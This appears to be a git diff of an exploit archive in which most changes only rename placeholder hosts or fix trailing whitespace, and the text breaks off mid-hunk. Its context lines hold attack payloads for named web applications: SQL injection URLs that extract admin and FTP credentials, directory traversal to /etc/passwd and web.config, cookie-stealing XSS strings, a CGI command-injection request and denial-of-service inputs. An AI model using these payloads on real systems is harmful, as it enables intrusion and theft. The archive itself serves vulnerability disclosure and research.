Securitylab.ir ######################## # Application Info: # Name: Cute Editor # Version: ASP.NET @@ -13,7 +13,7 @@ # Risk: Medium # Dork: inurl:CuteSoft_Client/CuteEditor #=========================================================== -# http://www.server/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config +# http://www.site.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config #=========================================================== ################################################################# # For test: diff --git a/platforms/asp/webapps/8849.txt b/platforms/asp/webapps/8849.txt index c13353f4b..5760e20e6 100755 --- a/platforms/asp/webapps/8849.txt +++ b/platforms/asp/webapps/8849.txt @@ -1,4 +1,4 @@ ---------------------------------------------------------------- + --------------------------------------------------------------- --------------------------------------------------------------- R2 Newsletter Store (admin.mdb) Remote Admin Disclosure Vulnerability @@ -11,11 +11,11 @@ R2 Newsletter Store (admin.mdb) Remote Admin Disclosure Exploit: ------- - http://www.server/[script]/admin.asp + http://www.site.com/[script]/admin.asp go to -http://www.server/[script]/admin.mdb +http://www.site.com/[script]/admin.mdb -------------------------------------- ---------------------------------------------------------------- Dem0 diff --git a/platforms/asp/webapps/9675.txt b/platforms/asp/webapps/9675.txt index b8d5245bd..ca5975dab 100755 --- a/platforms/asp/webapps/9675.txt +++ b/platforms/asp/webapps/9675.txt @@ -1,4 +1,4 @@ -[☢] ☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢{بسم الله الرحمن الرحيم}☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢ + [☢] ☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢{بسم الله الرحمن الرحيم}☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢ [☠] [~] Tybe:(details.asp PropId) BL!ND SQL Injection Vulnerability [☠] diff --git a/platforms/asp/webapps/9877.txt b/platforms/asp/webapps/9877.txt index da3b02676..3bab18216 100755 --- a/platforms/asp/webapps/9877.txt +++ b/platforms/asp/webapps/9877.txt @@ -4,7 +4,7 @@ http://127.0.0.1:8080/dwebpro/start?file=C:\windows\system32\notepad.exe&params= And the notepad.exe will open a txt file that calls hi at C:\ server's side. -If you try this: http://127.0.0.1:8080/dwebpro/start?file=http://www.someserver.br/somefile.exe will open a browser at server side and download the file. +If you try this: http://127.0.0.1:8080/dwebpro/start?file=http://www.somesite.com.br/somefile.exe will open a browser at server side and download the file. It's really dangerous. diff --git a/platforms/asp/webapps/9904.txt b/platforms/asp/webapps/9904.txt index 7b9ac3a1c..ba7ef98ab 100755 --- a/platforms/asp/webapps/9904.txt +++ b/platforms/asp/webapps/9904.txt @@ -7,7 +7,7 @@ # Website: http://securitylab.ir # Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir ################################################################# -# http://server/kxfzg/news.asp?id=128%20and%201=2%20union%20select%201,username,3,4,5,6,7,password,9%20from%20admin +# http://site.com/kxfzg/news.asp?id=128%20and%201=2%20union%20select%201,username,3,4,5,6,7,password,9%20from%20admin #=========================================================== ################################################################# # Securitylab Security Research Team diff --git a/platforms/asp/webapps/9963.txt b/platforms/asp/webapps/9963.txt index 0a8d17eee..39f95adaf 100755 --- a/platforms/asp/webapps/9963.txt +++ b/platforms/asp/webapps/9963.txt @@ -1,4 +1,4 @@ -__ __ __ + __ __ __ (__)(__)(__) (__)(__)(__)| D R U N K E N | || || || D A N I S H diff --git a/platforms/beos/dos/19938.txt b/platforms/beos/dos/19938.txt index de6b7590a..6c5cc8d21 100755 --- a/platforms/beos/dos/19938.txt +++ b/platforms/beos/dos/19938.txt @@ -20,4 +20,4 @@ Bad TCP Cksm = 0% TCP Opts Pcnt = 0% 4000 @ 1689.1 pkts/sec and 1105.4 k/s Caught signal 2 Used random seed 31337 -Wrote 5002 packets in 2.74s @ 1824.48 pkts/s \ No newline at end of file +Wrote 5002 packets in 2.74s @ 1824.48 pkts/s \ No newline at end of file diff --git a/platforms/bsd/dos/33318.txt b/platforms/bsd/dos/33318.txt index 4e71028de..65efd18e8 100755 --- a/platforms/bsd/dos/33318.txt +++ b/platforms/bsd/dos/33318.txt @@ -9,4 +9,4 @@ The following are reported vulnerable: OpenBSD 4.6 NetBSD 5.0.1 -printf %*********s 666 \ No newline at end of file +printf %*********s 666 \ No newline at end of file diff --git a/platforms/bsd/dos/33319.txt b/platforms/bsd/dos/33319.txt index 31a9d9350..6ce8885f5 100755 --- a/platforms/bsd/dos/33319.txt +++ b/platforms/bsd/dos/33319.txt @@ -11,4 +11,4 @@ NetBSD 5.0.1 The following example is available: -printf %.1100000000f 1.1 \ No newline at end of file +printf %.1100000000f 1.1 \ No newline at end of file diff --git a/platforms/bsd/dos/8581.txt b/platforms/bsd/dos/8581.txt index 08f23219e..61d1f4040 100755 --- a/platforms/bsd/dos/8581.txt +++ b/platforms/bsd/dos/8581.txt @@ -1,4 +1,4 @@ -_ _ _____ _ ___ _____ _ _ + _ _ _____ _ ___ _____ _ _ / / / / ____/ / / _/_ __/ / / / / /_/ / __/ / / / / / / / /_/ / / __ / /___/ /____/ / / / / __ / diff --git a/platforms/bsd/local/24015.c b/platforms/bsd/local/24015.c index e36f6f910..28d82675c 100755 --- a/platforms/bsd/local/24015.c +++ b/platforms/bsd/local/24015.c @@ -229,4 +229,4 @@ fprintf(stderr,"---------------------------------------\n"); if(u_r_script_kiddy) bruteforce(start); return 0; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/bsd/remote/19039.txt b/platforms/bsd/remote/19039.txt index b8be9f0ec..04e808470 100755 --- a/platforms/bsd/remote/19039.txt +++ b/platforms/bsd/remote/19039.txt @@ -27,4 +27,4 @@ pushl $3 movl sp, ap chmk $3b -This code executed execve("/bin/sh", 0, 0). \ No newline at end of file +This code executed execve("/bin/sh", 0, 0). \ No newline at end of file diff --git a/platforms/bsd/remote/19924.c b/platforms/bsd/remote/19924.c index 4e6fb012f..0e3cfad1d 100755 --- a/platforms/bsd/remote/19924.c +++ b/platforms/bsd/remote/19924.c @@ -170,4 +170,4 @@ void shell(int sock) } } } -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/cfm/remote/21548.txt b/platforms/cfm/remote/21548.txt index 6642c4f14..726e2e996 100755 --- a/platforms/cfm/remote/21548.txt +++ b/platforms/cfm/remote/21548.txt @@ -4,4 +4,4 @@ ColdFusion MX is prone to cross site scripting attacks. Attacker-supplied script code may be included in a malicious missing template URI generated by the default Missing Template handler of ColdFusion. The attacker-supplied script code will be executed in the browser of a web user who visits this link, in the security context of the host running ColdFusion. -http://CF_MX_SERVER/<script>alert(document.cookie)</script>.cfm \ No newline at end of file +http://CF_MX_SERVER/<script>alert(document.cookie)</script>.cfm \ No newline at end of file diff --git a/platforms/cfm/webapps/15120.txt b/platforms/cfm/webapps/15120.txt index 42fc9de4a..e15f26283 100755 --- a/platforms/cfm/webapps/15120.txt +++ b/platforms/cfm/webapps/15120.txt @@ -107,4 +107,4 @@ References * Vendor advisory: http://www.getmura.com/index.cfm/blog/critical-security-patch/ * CVE item: CVE-2010-3468 - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/cfm/webapps/16225.txt b/platforms/cfm/webapps/16225.txt index fb03d149e..455899502 100755 --- a/platforms/cfm/webapps/16225.txt +++ b/platforms/cfm/webapps/16225.txt @@ -6,7 +6,7 @@ Dork : intext:"Powered by Alcassoft SOPHIA" SQL --- -http://server/path/dsp_page.cfm?pageid=[SQL] +http://site.com/path/dsp_page.cfm?pageid=[SQL] - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/cfm/webapps/21493.txt b/platforms/cfm/webapps/21493.txt index 88bb9a19e..cce749f03 100755 --- a/platforms/cfm/webapps/21493.txt +++ b/platforms/cfm/webapps/21493.txt @@ -4,7 +4,7 @@ Gafware's CFXImage is a custom tag for ColdFusion. A program included with the CFXImage documentation doesn't properly filter its input. It is reported that a flaw exists in this program that allows a malicious user to read files outside of the permitted directory structure. By using directory traversal sequences (i.e. '/../', '..') or specifying a filename, an attacker can obtain files that may contain potentially sensitive information. -http://server/docs/showtemp.cfm?TYPE=JPEG&FILE=c:\boot.ini -http://server/docs/showtemp.cfm?TYPE=JPEG&FILE=../../../../../../../../../../../../../../../../../../boot.ini +http://www.server.com/docs/showtemp.cfm?TYPE=JPEG&FILE=c:\boot.ini +http://www.server.com/docs/showtemp.cfm?TYPE=JPEG&FILE=../../../../../../../../../../../../../../../../../../boot.ini -This allows the attacker to view the contents of 'c:\boot.ini'. \ No newline at end of file +This allows the attacker to view the contents of 'c:\boot.ini'. \ No newline at end of file diff --git a/platforms/cfm/webapps/22486.txt b/platforms/cfm/webapps/22486.txt index 528cb06b3..37c3a5f20 100755 --- a/platforms/cfm/webapps/22486.txt +++ b/platforms/cfm/webapps/22486.txt @@ -11,4 +11,4 @@ http://www.example.com/instaboard/index.cfm?frmid=1&tpcid=1%20SQL http://www.example.com/instaboard/index.cfm?frmid=1%20SQL&tpcid=1 http://www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1%20SQL&msgid=11 http://www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11%20SQL -http://www.example.com/instaboard/index.cfm?catid=1%20SQL \ No newline at end of file +http://www.example.com/instaboard/index.cfm?catid=1%20SQL \ No newline at end of file diff --git a/platforms/cfm/webapps/22544.txt b/platforms/cfm/webapps/22544.txt index b9d5d319f..98d09a50d 100755 --- a/platforms/cfm/webapps/22544.txt +++ b/platforms/cfm/webapps/22544.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for Macromedia ColdFusion MX that may reveal t When certain malformed URL requests are received by the server, an error message is returned containing the full path of the ColdFusion installation. -http://host:8500/CFIDE/probe.cfm \ No newline at end of file +http://host:8500/CFIDE/probe.cfm \ No newline at end of file diff --git a/platforms/cfm/webapps/23256.txt b/platforms/cfm/webapps/23256.txt index fba376e8e..bfa0b3839 100755 --- a/platforms/cfm/webapps/23256.txt +++ b/platforms/cfm/webapps/23256.txt @@ -4,4 +4,4 @@ It has been reported that Macromedia ColdFusion MX may be prone to a cross-site Macromedia ColdFusion MX version 6.0 may be vulnerable to this issue, however other versions may be affected as well. -http://www.example.com/article.cfm?id=1'<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/article.cfm?id=1'<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/cfm/webapps/25982.txt b/platforms/cfm/webapps/25982.txt index 2ee308b7f..c6d3e1910 100755 --- a/platforms/cfm/webapps/25982.txt +++ b/platforms/cfm/webapps/25982.txt @@ -4,4 +4,4 @@ A cross-site scripting vulnerability affects Simple Message Board. This issue is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/cfm/webapps/25983.txt b/platforms/cfm/webapps/25983.txt index 0a9d82b60..4e4b9912f 100755 --- a/platforms/cfm/webapps/25983.txt +++ b/platforms/cfm/webapps/25983.txt @@ -4,4 +4,4 @@ A cross-site scripting vulnerability affects Simple Message Board. This issue is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/cfm/webapps/25984.txt b/platforms/cfm/webapps/25984.txt index d9ac00d7a..84fcaa836 100755 --- a/platforms/cfm/webapps/25984.txt +++ b/platforms/cfm/webapps/25984.txt @@ -4,4 +4,4 @@ A cross-site scripting vulnerability affects Simple Message Board. This issue is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/cfm/webapps/25985.txt b/platforms/cfm/webapps/25985.txt index 84937a26f..0f542325d 100755 --- a/platforms/cfm/webapps/25985.txt +++ b/platforms/cfm/webapps/25985.txt @@ -4,4 +4,4 @@ A cross-site scripting vulnerability affects Simple Message Board. This issue is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/forum/forum.cfm?FID=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/cfm/webapps/26060.txt b/platforms/cfm/webapps/26060.txt index 6354cc17c..e0a45b371 100755 --- a/platforms/cfm/webapps/26060.txt +++ b/platforms/cfm/webapps/26060.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue affects CFBB version 1.1.0; other versions may also be vulnerable. -http://www.example.com/forums/index.cfm?page=XSS \ No newline at end of file +http://www.example.com/forums/index.cfm?page=XSS \ No newline at end of file diff --git a/platforms/cfm/webapps/26065.txt b/platforms/cfm/webapps/26065.txt index 62004c73b..57e70b64c 100755 --- a/platforms/cfm/webapps/26065.txt +++ b/platforms/cfm/webapps/26065.txt @@ -9,4 +9,4 @@ This issue reportedly affects Fusebox version 4.1.0; other versions may also be This issue is not believed to exist because the product does not ship with layout configuration files; this has not been confirmed by Symantec. http://www.example.com/index.cfm?fuseaction="><script>alert(document.cookie)</script>< -http://www.example.com/index.cfm?fuseaction=fusebox.overview"><script>alert(document.cookie)</script>< \ No newline at end of file +http://www.example.com/index.cfm?fuseaction=fusebox.overview"><script>alert(document.cookie)</script>< \ No newline at end of file diff --git a/platforms/cfm/webapps/26766.txt b/platforms/cfm/webapps/26766.txt index 304349713..ceb576e9c 100755 --- a/platforms/cfm/webapps/26766.txt +++ b/platforms/cfm/webapps/26766.txt @@ -10,4 +10,4 @@ CF_Nuke 4.6 and prior versions are reported to be vulnerable; other versions may http://www.example.com/index.cfm?sector=../local file -http://www.example.com/index.cfm?sector=quotes&page=../local file \ No newline at end of file +http://www.example.com/index.cfm?sector=quotes&page=../local file \ No newline at end of file diff --git a/platforms/cfm/webapps/26767.txt b/platforms/cfm/webapps/26767.txt index 16bb3307e..469696a77 100755 --- a/platforms/cfm/webapps/26767.txt +++ b/platforms/cfm/webapps/26767.txt @@ -13,4 +13,4 @@ http://www.example.com/index.cfm?sector=links&page=links&cmd=view&cat= %22%3E%3Cscript%3Ealert('r0t')%3C/script%3E http://www.example.com/index.cfm?sector=news&page=read&newsid= -%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/cfm/webapps/26772.txt b/platforms/cfm/webapps/26772.txt index 9b55761e7..5eb5f39ad 100755 --- a/platforms/cfm/webapps/26772.txt +++ b/platforms/cfm/webapps/26772.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Versions 2.0 and prior are vulnerable; other versions may also be affected. -http://www.example.com/book.cfm?StartRow=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +http://www.example.com/book.cfm?StartRow=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/cfm/webapps/26882.txt b/platforms/cfm/webapps/26882.txt index fd37e6008..3dda50be3 100755 --- a/platforms/cfm/webapps/26882.txt +++ b/platforms/cfm/webapps/26882.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue is reported to affect version 5.3; earlier versions may also be vulnerable. -http://www.example.com/search/index.cfm?keywords=[XSS]&x=25&y=9 \ No newline at end of file +http://www.example.com/search/index.cfm?keywords=[XSS]&x=25&y=9 \ No newline at end of file diff --git a/platforms/cfm/webapps/26909.txt b/platforms/cfm/webapps/26909.txt index 32f3f79d3..b27531f00 100755 --- a/platforms/cfm/webapps/26909.txt +++ b/platforms/cfm/webapps/26909.txt @@ -22,4 +22,4 @@ http://www.example.com/index.cfm?fuseaction=Document.showDocumentSection&sortby= http://www.example.com/index.cfm?fuseaction=Document.showDocumentSection&sortby=PublishDate&startrow=8&topicOnly=&topicRadio=[XSS] http://www.example.com/index.cfm?fuseaction=Document.showDocumentSection&sortby=PublishDate&startrow=8&topicOnly=[XSS] http://www.example.com/index.cfm?fuseaction=Document.showDocumentSection&sortby=PublishDate&startrow=[XSS] -http://www.example.com/index.cfm?fuseaction=Document.showDocumentSection&sortby=[XSS] \ No newline at end of file +http://www.example.com/index.cfm?fuseaction=Document.showDocumentSection&sortby=[XSS] \ No newline at end of file diff --git a/platforms/cfm/webapps/26910.txt b/platforms/cfm/webapps/26910.txt index 0be43fa95..bfb39aa9e 100755 --- a/platforms/cfm/webapps/26910.txt +++ b/platforms/cfm/webapps/26910.txt @@ -8,4 +8,4 @@ This issue reportedly affects version 2.0 of E-Publish; other versions may also http://www.example.com/printer_friendly.cfm?id=[SQL] http://www.example.com/show.cfm?id=274&obcatid=10[XSS] -http://www.example.com/show.cfm?id=279&how=5&obcatid=9&shfrm=1&comid=[XSS] \ No newline at end of file +http://www.example.com/show.cfm?id=279&how=5&obcatid=9&shfrm=1&comid=[XSS] \ No newline at end of file diff --git a/platforms/cfm/webapps/26920.txt b/platforms/cfm/webapps/26920.txt index b00ae7479..211487826 100755 --- a/platforms/cfm/webapps/26920.txt +++ b/platforms/cfm/webapps/26920.txt @@ -7,4 +7,4 @@ Successful exploitation of these vulnerabilities could result in a compromise of http://www.example.com/CategoryResults.cfm?div=7&cat=118&cat_parent=107&series=[SQL] http://www.example.com/CategoryResults.cfm?div=7&cat=118&cat_parent=[SQL] http://www.example.com/CategoryResults.cfm?div=7&cat=[SQL] -http://www.example.com/CategoryResults.cfm?div=[SQL] \ No newline at end of file +http://www.example.com/CategoryResults.cfm?div=[SQL] \ No newline at end of file diff --git a/platforms/cfm/webapps/26986.txt b/platforms/cfm/webapps/26986.txt index 1a5e0aa86..f10193330 100755 --- a/platforms/cfm/webapps/26986.txt +++ b/platforms/cfm/webapps/26986.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th /loader.cfm?url=/[DIRPATH]/[DIRPATH]/email-login-info.cfm&errmsg=No%20user%20account %20was%20found%20for%20that%20email%20address.%20%20Please%20try%20again.&bNewWindo -w=[XSS] \ No newline at end of file +w=[XSS] \ No newline at end of file diff --git a/platforms/cfm/webapps/29567.txt b/platforms/cfm/webapps/29567.txt index aeb74dceb..87f47cde4 100755 --- a/platforms/cfm/webapps/29567.txt +++ b/platforms/cfm/webapps/29567.txt @@ -4,4 +4,4 @@ Adobe ColdFusion is prone to a cross-site scripting vulnerability because it fai An attacker could exploit this vulnerability to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/&USER_AGENT=%3Cscript%3Ealert(String.fromCharCode(120,115,115))%3C/s> cript%3E&HTTP_REFERER=http://www.google.com/ \ No newline at end of file +http://www.example.com/&USER_AGENT=%3Cscript%3Ealert(String.fromCharCode(120,115,115))%3C/s> cript%3E&HTTP_REFERER=http://www.google.com/ \ No newline at end of file diff --git a/platforms/cfm/webapps/30202.txt b/platforms/cfm/webapps/30202.txt index e55f385a7..986463ade 100755 --- a/platforms/cfm/webapps/30202.txt +++ b/platforms/cfm/webapps/30202.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce NOTE: Specific vulnerable versions were not disclosed. Reports also indicate that this issue has been addressed in the latest version of the application. -http://www.example.com/forum/include/error/autherror.cfm?FTVAR_URLP=x&errorcode=[SQL_INJ] \ No newline at end of file +http://www.example.com/forum/include/error/autherror.cfm?FTVAR_URLP=x&errorcode=[SQL_INJ] \ No newline at end of file diff --git a/platforms/cfm/webapps/30216.txt b/platforms/cfm/webapps/30216.txt index e4c370398..c4dc13859 100755 --- a/platforms/cfm/webapps/30216.txt +++ b/platforms/cfm/webapps/30216.txt @@ -8,4 +8,4 @@ http://www.example.com/forum/include/error/autherror.cfm?errorcode=1 &FTVAR_LINKP=[xss] http://www.example.com/blog/forum/include/error/autherror.cfm?errorcode=1 -&FTVAR_URLP=[xss] \ No newline at end of file +&FTVAR_URLP=[xss] \ No newline at end of file diff --git a/platforms/cfm/webapps/33948.txt b/platforms/cfm/webapps/33948.txt index 13327b9cc..3589b7a16 100755 --- a/platforms/cfm/webapps/33948.txt +++ b/platforms/cfm/webapps/33948.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Site Manager 3.0 is vulnarable; other versions may also be affected. http://www.example.com/page.cfm?id=null+and+100=99+union+select+1,2,3,4,concat(name,0x3a,password),6+from+author -http://www.example.com/page.cfm?id=null+and+100=99+union+select+1,2,3,4,conca(ftpserver,0x3a,domainname,0x3a,ftpusername,0x3a,ftppassword),6+from+webdata \ No newline at end of file +http://www.example.com/page.cfm?id=null+and+100=99+union+select+1,2,3,4,conca(ftpserver,0x3a,domainname,0x3a,ftpusername,0x3a,ftppassword),6+from+webdata \ No newline at end of file diff --git a/platforms/cfm/webapps/35256.txt b/platforms/cfm/webapps/35256.txt index 067260fa5..e1d2488df 100755 --- a/platforms/cfm/webapps/35256.txt +++ b/platforms/cfm/webapps/35256.txt @@ -8,4 +8,4 @@ Lomtec ActiveWeb Professional 3.0 is vulnerable; other versions may also be affe 1. Go to the page http://www.example.com/activeweb/EasyEdit.cfm?module=EasyEdit&page=getimagefile&Filter= -2. Change the 'UploadDirectory' and 'Accepted Extensions' hidden form fields to upload the malicious file to the directory of interest. \ No newline at end of file +2. Change the 'UploadDirectory' and 'Accepted Extensions' hidden form fields to upload the malicious file to the directory of interest. \ No newline at end of file diff --git a/platforms/cfm/webapps/36172.txt b/platforms/cfm/webapps/36172.txt index 472b2fc26..cc96a262f 100755 --- a/platforms/cfm/webapps/36172.txt +++ b/platforms/cfm/webapps/36172.txt @@ -10,4 +10,4 @@ http://example.com/CFIDE/componentutils/componentdetail.cfm?component=%3Cbody%20 http://example.com/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=%3Cbody%20onload=alert(document.cookie)%3E -http://example.com/CFIDE/componentutils/cfcexplorer.cfc?method=%3Cbody%20onload=alert(document.cookie)%3E \ No newline at end of file +http://example.com/CFIDE/componentutils/cfcexplorer.cfc?method=%3Cbody%20onload=alert(document.cookie)%3E \ No newline at end of file diff --git a/platforms/cgi/dos/1175.pl b/platforms/cgi/dos/1175.pl index d0ffb9739..993a27222 100755 --- a/platforms/cgi/dos/1175.pl +++ b/platforms/cgi/dos/1175.pl @@ -7,14 +7,14 @@ # Crappy code is more effective =] # # I accept no responsibility for misuse or abuse # ###################### -# Usage: xxx.pl server /directory_to_chat/ #_of_users_to_create +# Usage: xxx.pl www.server.com /directory_to_chat/ #_of_users_to_create ###################### # Affected Software: GTChat .95 # Unaffected Software: GTChat .93 ###################### use IO::Socket; if (@ARGV < 2){ -print "Usage:\n xxx.pl server /Path_to_GTChat/ #_of_users_to_create\n"; +print "Usage:\n xxx.pl www.server.com /Path_to_GTChat/ #_of_users_to_create\n"; print "Example:\n xxx.pl www.serfer.com /GTChat/cgi-bin/ 5"; exit; } diff --git a/platforms/cgi/dos/20071.c b/platforms/cgi/dos/20071.c index 84119a776..6d5ca7c1d 100755 --- a/platforms/cgi/dos/20071.c +++ b/platforms/cgi/dos/20071.c @@ -50,4 +50,4 @@ void main(int argc, char *argv[]) close(sock); printf("Done. Refresh the page to see if it worked.\n"); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/cgi/dos/20753.txt b/platforms/cgi/dos/20753.txt index 91a04948b..da9211295 100755 --- a/platforms/cgi/dos/20753.txt +++ b/platforms/cgi/dos/20753.txt @@ -6,4 +6,4 @@ A problem in the Net.Commerce package could allow a remote user to deny service A remote user may use this vulnerability to crash the Websphere server, thus denying service to legitimate users. -http://host/cgi-bin/ncommerce3/ExecMacro/macro.d2w/%0a%0a..(aprox 1000)..%0a \ No newline at end of file +http://host/cgi-bin/ncommerce3/ExecMacro/macro.d2w/%0a%0a..(aprox 1000)..%0a \ No newline at end of file diff --git a/platforms/cgi/dos/21048.txt b/platforms/cgi/dos/21048.txt index 8c8c961de..eed8b0918 100755 --- a/platforms/cgi/dos/21048.txt +++ b/platforms/cgi/dos/21048.txt @@ -11,4 +11,4 @@ $ echo "GET xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" | nc -machttp-server 80 \ No newline at end of file +machttp-server.com 80 \ No newline at end of file diff --git a/platforms/cgi/dos/21620.txt b/platforms/cgi/dos/21620.txt index 78b25648b..1d6f2d9bb 100755 --- a/platforms/cgi/dos/21620.txt +++ b/platforms/cgi/dos/21620.txt @@ -6,4 +6,4 @@ The vulnerability occurs when an attacker makes a request to 'request.cgi' using Note: it was reported that the value for the 'psearch' parameter also causes a crash, however this could not be reproduced by SecurityFocus. -http://<musicserver>/request.cgi?listpos=999...999(9x256) \ No newline at end of file +http://<musicserver>/request.cgi?listpos=999...999(9x256) \ No newline at end of file diff --git a/platforms/cgi/remote/19745.txt b/platforms/cgi/remote/19745.txt index b21674bd2..ea9b241b9 100755 --- a/platforms/cgi/remote/19745.txt +++ b/platforms/cgi/remote/19745.txt @@ -6,4 +6,4 @@ A request like: http ://target/finger.cgi?action=archives&cmd=specific &filename=99.10.28.15.23.username.|<shell command>| (split for readability) -will cause the server to execute whatever command is specified. \ No newline at end of file +will cause the server to execute whatever command is specified. \ No newline at end of file diff --git a/platforms/cgi/remote/19747.txt b/platforms/cgi/remote/19747.txt index 7914cc3c0..b2738dd6e 100755 --- a/platforms/cgi/remote/19747.txt +++ b/platforms/cgi/remote/19747.txt @@ -4,4 +4,4 @@ Appending "%00" to the end of a CGI script filename will permit a remote client http ://target/script.cgi%00 -"%00" may be replaced with "%G0", "%W0", "%EW", "%FG", "%UW", or "%VG" in order to achieve the same results. \ No newline at end of file +"%00" may be replaced with "%G0", "%W0", "%EW", "%FG", "%UW", or "%VG" in order to achieve the same results. \ No newline at end of file diff --git a/platforms/cgi/remote/19842.txt b/platforms/cgi/remote/19842.txt index ead25b513..214495aff 100755 --- a/platforms/cgi/remote/19842.txt +++ b/platforms/cgi/remote/19842.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1102/info Web+ is an e-commerce server designed to run under a webserver, to provide web storefronts. The various scripts that are required to do this are specified to the webpsvr daemon via a 'script' variable passed to the webplus CGI. This CGI can be passed a path to any file via the script variable, resulting in arbitrary files being displayed to the browser. This vulnerability is limited to files that are known to the user and that the webpsvr daemon has read access to. -http&nbsp;://target/cgi-bin/webplus?script=/../../../../etc/passwd \ No newline at end of file +http&nbsp;://target/cgi-bin/webplus?script=/../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/remote/19852.txt b/platforms/cgi/remote/19852.txt index cb3e191f1..608804bd9 100755 --- a/platforms/cgi/remote/19852.txt +++ b/platforms/cgi/remote/19852.txt @@ -15,4 +15,4 @@ http://target/cgi-bin/cart.pl?vars http://target/cgi-bin/cart.pl?env http://target/cgi-bin/cart.pl?db -http://target/cgi-bin/scripts/cart.pl?name=<Name&nbsp;of&nbsp;item>&price=<Price&nbsp;of&nbsp;product>&sh=<Shipping&nbsp;and&nbsp;handling>&img=<Image&nbsp;file>&return=<Target&nbsp;host>&custom1=<Description&nbsp;of&nbsp;Product> \ No newline at end of file +http://target/cgi-bin/scripts/cart.pl?name=<Name&nbsp;of&nbsp;item>&price=<Price&nbsp;of&nbsp;product>&sh=<Shipping&nbsp;and&nbsp;handling>&img=<Image&nbsp;file>&return=<Target&nbsp;host>&custom1=<Description&nbsp;of&nbsp;Product> \ No newline at end of file diff --git a/platforms/cgi/remote/19956.txt b/platforms/cgi/remote/19956.txt index aec4b91a0..180256008 100755 --- a/platforms/cgi/remote/19956.txt +++ b/platforms/cgi/remote/19956.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1243/info By default JetAdmin Web Interface Server listens on port 8000. By requesting a specially formed URL which includes "../" it is possible for a remote user to gain read-access to any files outside of the web-published directory. -http://target:8000/cgi/wja?page=/../../../filename \ No newline at end of file +http://target:8000/cgi/wja?page=/../../../filename \ No newline at end of file diff --git a/platforms/cgi/remote/20041.txt b/platforms/cgi/remote/20041.txt index d5a158634..76bee66cc 100755 --- a/platforms/cgi/remote/20041.txt +++ b/platforms/cgi/remote/20041.txt @@ -8,4 +8,4 @@ http://target:port/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+ If sawmill is run as a cgi script, the following can be used instead: -http://target/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1 \ No newline at end of file +http://target/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1 \ No newline at end of file diff --git a/platforms/cgi/remote/20059.txt b/platforms/cgi/remote/20059.txt index c29385864..433079893 100755 --- 